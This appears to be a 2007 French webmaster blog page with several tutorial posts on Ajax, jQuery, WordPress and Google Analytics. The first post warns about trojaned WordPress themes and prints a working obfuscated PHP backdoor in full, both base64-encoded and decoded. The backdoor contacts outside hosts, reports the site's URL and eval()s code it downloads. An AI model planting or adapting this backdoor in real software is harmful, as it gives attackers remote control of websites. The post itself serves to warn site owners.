Recherche
Derniers articles
- Jeu pour écrire plus vite au clavier
- Distance de Levenshtein - le moyen pour faire un correcteur orthographique
- Un code JS pour rendre IE aussi compatible que IE7 (aux standards)
- Requête POST en PHP
- Transformer du HTML en TEXTE (html2text)
- Jeu : Démêleur de fils
- Comment insérer du PHP dans du JavaScript
- Aller plus loin avec Google Analytics
- Largeur des blocs en CSS : bien comprendre les “width” et “padding”
- Thèmes WordPress : Attention aux Hacks !
Catégories
- Ajax
- Astuces PHP
- Bases de données
- Conseils pratiques pour le référencement
- Créer un site
- CSS et mise en forme
- Jeux
- jQuery
- Le site
- Non classé
- Outils de webmasters
- Outils en flash
- Outils Google
- Ressources
- Standards
- Statistiques
Archives par mois
A voir également
Thèmes WordPress : Attention aux Hacks !
Suite à une discussion que j’ai entretenue avec des confrères sur un forum, je vous invite, vous utilisateurs de WordPress, à la plus grande vigilance, lorsque vous téléchargez des thèmes.
Il faut tout particulièrement inspecter le code à la recherche de programmes malveillants, que l’on pourrait qualifier de spywares, qui disent par exemple ceci :
eval(base64_decode('aWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNiA9IEBmc29ja29wZW4oInd3dy53cHNzci5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0RkZCQ0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0MDYyOThFMywgMykpICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3Bzc3IiOyBlbHNlaWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNiA9IEBmc29ja29wZW4oInd3dy53cHNuYy5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0RkZCQ0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0MDYyOThFMywgMykpICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMiOyBlbHNlICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMyIjsgQGV2YWwoJyRSMTRBRjFCRTlFRTI2QTkwOTIxRTY0QTgyRTc4MzY3OTcgPSAxOycpOyBpZigkUjE0QUYxQkU5RUUyNkE5MDkyMUU2NEE4MkU3ODM2Nzk3IEFORCBpbmlfZ2V0KCdhbGxvd191cmxfZm9wZW4nKSkgeyAgJFJEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFNjA1QjY5NiA9ICIxIjsgICRSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUgPSAiaHR0cDovL3d3dy4kUjUwRjVGOUM4MEYxMkZGQUU4QjI0MDA1MjhFODFCMzRFLmNvbS93JFJEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFNjA1QjY5Ni5waHA/dXJsPSIuIHVybGVuY29kZSgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiImIi4gImhvc3Q9Ii4gdXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7ICAkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUpOyAgQGV2YWwoJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MCk7IH0gZWxzZSB7ICAkUkQzRkU5QzEwQTgwOEE1NEVBMkEzREJEOUU2MDVCNjk2ID0gIjAiOyAgJFI2RTRGMTRCMzM1MjQzQkU2NTZDNjVFM0VEOUUxQjExNSA9ICJodHRwOi8vd3d3LiRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUuY29tL3ckUkQzRkU5QzEwQTgwOEE1NEVBMkEzREJEOUU2MDVCNjk2LnBocD91cmw9Ii4gdXJsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIiYiLiAiaG9zdD0iLiB1cmxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsgIEByZWFkZmlsZSgkUjZFNEYxNEIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMTE1KTsgfSBmY2xvc2UoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNik7'));
c’est un code php encodé qui est traduit par base64_encode() puis executé grace à eval(). Si l’on remplace d’ailleurs eval() par print_r(), voici ce qui apparait à l’écran :
if($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpssr.com", 80, $R32D00070D4FFBCCE2FC669BBA812D4C2, $R5F525F5B398DADD7CF0784BD406298E3, 3)) $R50F5F9C80F12FFAE8B2400528E81B34E = "wpssr"; elseif($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpsnc.com", 80, $R32D00070D4FFBCCE2FC669BBA812D4C2, $R5F525F5B398DADD7CF0784BD406298E3, 3)) $R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc"; else $R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc2"; @eval('$R14AF1BE9EE26A90921E64A82E7836797 = 1;'); if($R14AF1BE9EE26A90921E64A82E7836797 AND ini_get('allow_url_fopen')) { $RD3FE9C10A808A54EA2A3DBD9E605B696 = "1"; $R6E4F14B335243BE656C65E3ED9E1B115 = "http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=". urlencode($_SERVER['REQUEST_URI']) ."&". "host=". urlencode($_SERVER['HTTP_HOST']); $R3E33E017CD76B9B7E6C7364FB91E2E90 = @file_get_contents($R6E4F14B335243BE656C65E3ED9E1B115); @eval($R3E33E017CD76B9B7E6C7364FB91E2E90); } else { $RD3FE9C10A808A54EA2A3DBD9E605B696 = "0"; $R6E4F14B335243BE656C65E3ED9E1B115 = "http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=". urlencode($_SERVER['REQUEST_URI']) ."&". "host=". urlencode($_SERVER['HTTP_HOST']); @readfile($R6E4F14B335243BE656C65E3ED9E1B115); } fclose($R37C014DAE5FE4FE5C77B6735ABC30916);
D’après 5thirtyone.com, il s’agirait d’un script qui permet d’injecter du code dans votre blog/site.. sympa non ?
Ce sont notamment les thèmes proposés par ce site : http://www.wpsphere.com/6.html qui reprennent de vrais thèmes et le propriétaire ajoute cette petite ligne maligne pour pouvoir faire à peu près ce qu’il veut du site à partir du moment où il peut y exécuter du PHP et qu’il sait comment est codé Wordpress côté serveur.
Proposé par Rom's
Catégorisé dans : Non classé
0 commentaire »
novembre 2007
Optimisation MySQL
Je vous invite à lire cette documentation qui permet d’optimiser les requêtes complexes pour des sites à fort volume :
http://www.ecoms.fr/cours/sgbdoptimisation.pdf [PDF]
Proposé par Rom's
Catégorisé dans : Bases de données
0 commentaire »
novembre 2007
Exemples d’utilisation de Prototype
Connaissez-vous Prototype ? Si oui, tant mieux, si non il faut absolument que vous lisiez ce post jusqu’au bout.
Pour faire simple, la librairie Prototype permet de simplifier nombre de fonctionnalités que l’on souhaite faire via JavaScript / Ajax.
Exemple 1 : en une ligne de code, vous envoyez le contenu d’un formulaire vers un fichier distant, récupérez le contenu généré par ce fichier distant et l’insérez dans le conteneur de votre choix.
var recupererInfo = function(quelForm){
Params = Form.serialize(quelForm);
new Ajax.Updater('idConteneurSouhaite','fichierDistant.php', {parameters:Params});
}
pour aller plus loin, on peut mettre plus de paramètres entre les accolades. exemple : {method: 'post', parameters: Form.serialize(form), asynchronous:false, evalScripts:true}
On peut aussi définir de ne pas remplacer le contenu du conteneur souhaité et plutôt mettre à la suite de ce qu’il contient déjà, il suffit de rajouter “,insertion: Insertion.Bottom” . exemple : new Ajax.Updater('idConteneurSouhaite','fichierDistant.php', {parameters:Params},insertion: Insertion.Bottom);
Exemple 1bis : suite à la demande d’Abid, voici un exemple complet pour la soumission d’un formulaire en Ajax :
<script type="text/javascript">
/*
* personnellement, je déconseille désormais
* l'utilisation des commentaires HTML dans
* les balises JS qui n'ont plus vraiment
* d'incidence sur les navigateurs et qui
* peuvent poser des problèmes avec Prototype
*/
var lancerRecherche = function(infosForm) {
new Ajax.Updater('resultatsRecherche','exeRecherche.php', {parameters:infosForm});
}
</script>
<form method="post">
<fieldset>
<legend>Recherche</legend>
<select name="typeRecherche"> <option value="societe">Société</option> <option value="numCommande">Numéro de commande</option> <option value="nomParticipant">Nom de participant</option> </select>
<input name="recherche" type="text" />
<input value="Chercher" onclick="lancerRecherche(Form.serialize(this.form)); return false;" type="submit" />
</fieldset>
</form>
Pour cet exemple, le fichier exeRecherche.php reçoit les variables $_POST envoyées par le formulaire (sauf envoi de fichier en multipart/postdata) et renvoie son rendu HTML dans le conteneur resultatsRecherche.
Exemple 2 : version simplifiée du premier exemple. Via une ligne de code, envoyez un paramètre en GET ou en POST à un fichier et récupérez son contenu dans le contenur de votre choix.
var recupererInfo = function(param1,param2){
Params = 'monParam1='+param1+'&monParam2='+param2;
new Ajax.Updater('idConteneurSouhaite','fichierDistant.php', {method: 'get',parameters:Params});
}
Exemple 3 : vous pouvez récupérer le contenu de n’importe quel champ de formulaire, que ce soit une liste déroulante, des boutons radio, ou une champ de texte : alert( $F(’idDeMonChamp’) );
Exemple 4 : vous pouvez oublier les document.getElementById(’idDeMonConteneur’) et autres document.all(’idDeMonConteneur’) et tout remplacer par le très simple $(’idDeMonConteneur’)
Proposé par Rom's
Catégorisé dans : Ajax, Applications pratiques, Découvrir Ajax
2 commentaires »
novembre 2007
ROI / Adwords : Croiser les données Adwords avec celles de son Back-Office
Chose intéressante, lorsque vous avez un compte Adwords et que vous avez créé un compte Analytics, vous pouvez vous rendre dans votre compte Analytics dans la rubrique Sources de trafic > Adwords > Campagnes Adwords, et vous voyez un suivi des visiteurs ayant utilisé les liens sponsorisés pour arriver sur votre site.
Mais là se cache une fonctionnalité tout à fait intéressante et pourtant banale : l’export des données, notamment au format CSV.
N’avez-vous jamais rêvé de pouvoir dire pour tel produit, j’ai créé telle annonce, et j’aimerais voir dans mon back-office à côté des performances de mon produit le nombre de pages vues moyennes, le nombre de clics.. et le coût de mes campagnes !
Moi oui, et j’ai développé un simple outil qui permet de récupérer les données d’un export et de les insérer en base (MySQL). Le principe : on copie-colle le contenu du fichier CSV tel quel et ça crée pour chaque ligne (chaque campagne si vous êtes au niveau campagne, chaque groupe d’annonce si vous êtes au niveau groupe d’annonce) une entrée en base avec le nom de cette ligne et les informations fournies par Adwords.
Vous avez la possibilité de choisir les champs à retenir (dans le code) et je n’ai fait qu’afficher la requête pour que chacun puisse insérer son système de requêtes.
Une fois que vous aurez créé votre table, je vous conseille d’avoir un champ nom_temporaire et un champ id_produit. A la requête, id_produit sera vide, mais vous pourrez créer ensuite une page intermédiaire qui vous dira “voilà le nom temporaire, à quel produit souhaitez-vous lier cette campagne ?”, vous updatez et voilà, vous pouvez croiser vos données librement !
To be ameliored
Vous souhaitez le tester ? c’est par ici : Tester le parseur Analytics / Adwords (copier-coller le contenu du fichier CSV ainsi exporté)
Le fichier en question à télécharger est ici : Parseur Analytics / Adwords
Proposé par Rom's
Catégorisé dans : Bien lire ses statistiques, Retour sur investissement, Statistiques
0 commentaire »
novembre 2007
Menu Horizontal Déroulant | jQuery
Voici un menu déroulant horizontal fait avec jQuery. La source modifiée : http://webexpose.org/2006/12/28/jquery-pop-up-menu-tutorial/
L’exemple à visualiser est ici : Exemple Menu Déroulant Horizontal
L’exemple à télécharger est ici : Fichiers Compressés Exemple Menu Horizontal Déroulant
La documentation est ici : Documentation Visual jQuery 1.1.2 vous trouverez notamment des effets différents pour l’ouverture du menu, etc.
Attention si vous changez le mode d’effet (dans le fichier menu.js) vers les slideUp et slideDown, j’ai remarqué un bug tout de même sur Firefox : Lorsque vous sortez du menu par le haut et que vous y rentrez avant que l’effet ne soit terminé, il se met à clignoter.. Curieux. J’ai préféré le fadeIn et fadeOut à cause de cela.
Proposé par Rom's
Catégorisé dans : CSS et mise en forme, jQuery
0 commentaire »
novembre 2007
Diaporama en Flash
http://www.alsacreations.fr/dewslider
Proposé par Rom's
Catégorisé dans : Outils en flash, Ressources
0 commentaire »
novembre 2007
Créer un site en 10 minutes avec WordPress
Saviez-vous qu’il était possible de créer un site en 10 minutes chrono ?
Il faut le savoir, on a beau avoir 10 ans d’expérience de création de sites Internet, il est souvent inutile de (re)commencer à zéro ce qui a été fait par soi-même ou par d’autres.
C’est avec plaisir que j’avais découvert il y a quelques temps WordPress, outil relativement bien conçu s’il en est puisqu’il permet à de nombreux bloggeurs de créer leurs blogs rapidement, et d’accéder néanmoins à de nombreuses fonctionnalités, de nombreux templates, plugins, etc.
Mais il y a l’autre face de WordPress, la face maline. Celle qui vous permet de créer des sites d’information, dits “sites éditoriaux”, rapidement, et - comble du comble - optimisés pour le référencement (youpi !).
Pour cela, installez vite WordPress sur un serveur / sous-domaine de votre serveur / répertoire de votre www/ et recherchez un thème qui pourrait vous plaire (celui-ci par exemple : http://themes.wordpress.net/?s=Tripathi); créez deux ou trois pages pour commencer via “Ecrire” > “Page”; réglez votre page d’accueil via “Options” > “Lecture” et voilà, vous avez un site Internet.
Exemple : http://helicoptere.guide-sensations.com/
Bon, pour être tout à fait parfait, il faudra aller dans “thème” > “éditeur de thèmes” pour traduire certaines phrases du thème pour que ça ne fasse pas trop désordre, il faudra tout de même créer du contenu, arranger les catégories, régler les URLs (éventuellement de façon plus poussée avec le plugin seo-all-in-one), mais ce n’est que du bonheur.. d’ailleurs devinez avec quoi a été fait ce blog-ci ?
Proposé par Rom's
Catégorisé dans : Conseils pratiques pour le référencement, Créer un site, Outils de webmasters, Site éditorial
0 commentaire »
novembre 2007
Utiliser les cookies de Google Analytics pour récupérer la provenance des internautes
Si vous utilisez Google Analytics, vous devriez savoir que cet outil stocke chez l’utilisateur des données le concernant permettant de le suivre tout au long de sa navigation sur le site.
Si vous avez le tracker sur votre site, observez vos cookies et vous verrez apparaître 4 informations : __utma,__utmb,__utmc et __utmz et c’est ce dernier qui va nous intéresser tout particulièrement.
Il contient comme ses congénères des chiffres mystérieux, qui doivent contenir d’une certaine façon les nombres de pages vues, ip ou autre clé unique pour vous identifier mais contient surtout votre mode d’arrivée (sous forme utmccn=(direct|referal|organic|…)), le moteur éventuel (utmcsr=google|direct), le mot clé utilisé sur le moteur en question (utmctr=saut+elastique), le type de lien utilisé (utmcmd=organic|cpc|referral|none), le referrer éventuel si autre (utmcct=http://www.com)
Des informations bien utiles que vous pouvez à tout moment récupérer en PHP notamment, à l’aide du tableau $_COOKIE :
$infosProvenance=explode(".",$_COOKIE['__utmz']);$infosProvenance=explode("|",$infosProvenance[(count($infosProvenance)-1)]);print_pre($infosProvenance);
NB : vous seriez bien avisés de notifier à vos internautes via les mentions légales des informations que vous stockez sur eux.
Proposé par Rom's
Catégorisé dans : Bien lire ses statistiques, Outils Google, Outils de webmasters, Retour sur investissement, Statistiques
0 commentaire »
novembre 2007
Ouverture du site
4 novembre, ouverture du site.
Objectifs : partager mes expériences et vous faire découvrir les outils et méthodes que j’utilise au quotidien et-qui-marchent !
Intérêt pour vous : découvrir si ce n’est déjà fait quelques outils, méthodes pour améliorer vos sites Internet
Proposé par Rom's
Catégorisé dans : Le site
0 commentaire »
novembre 2007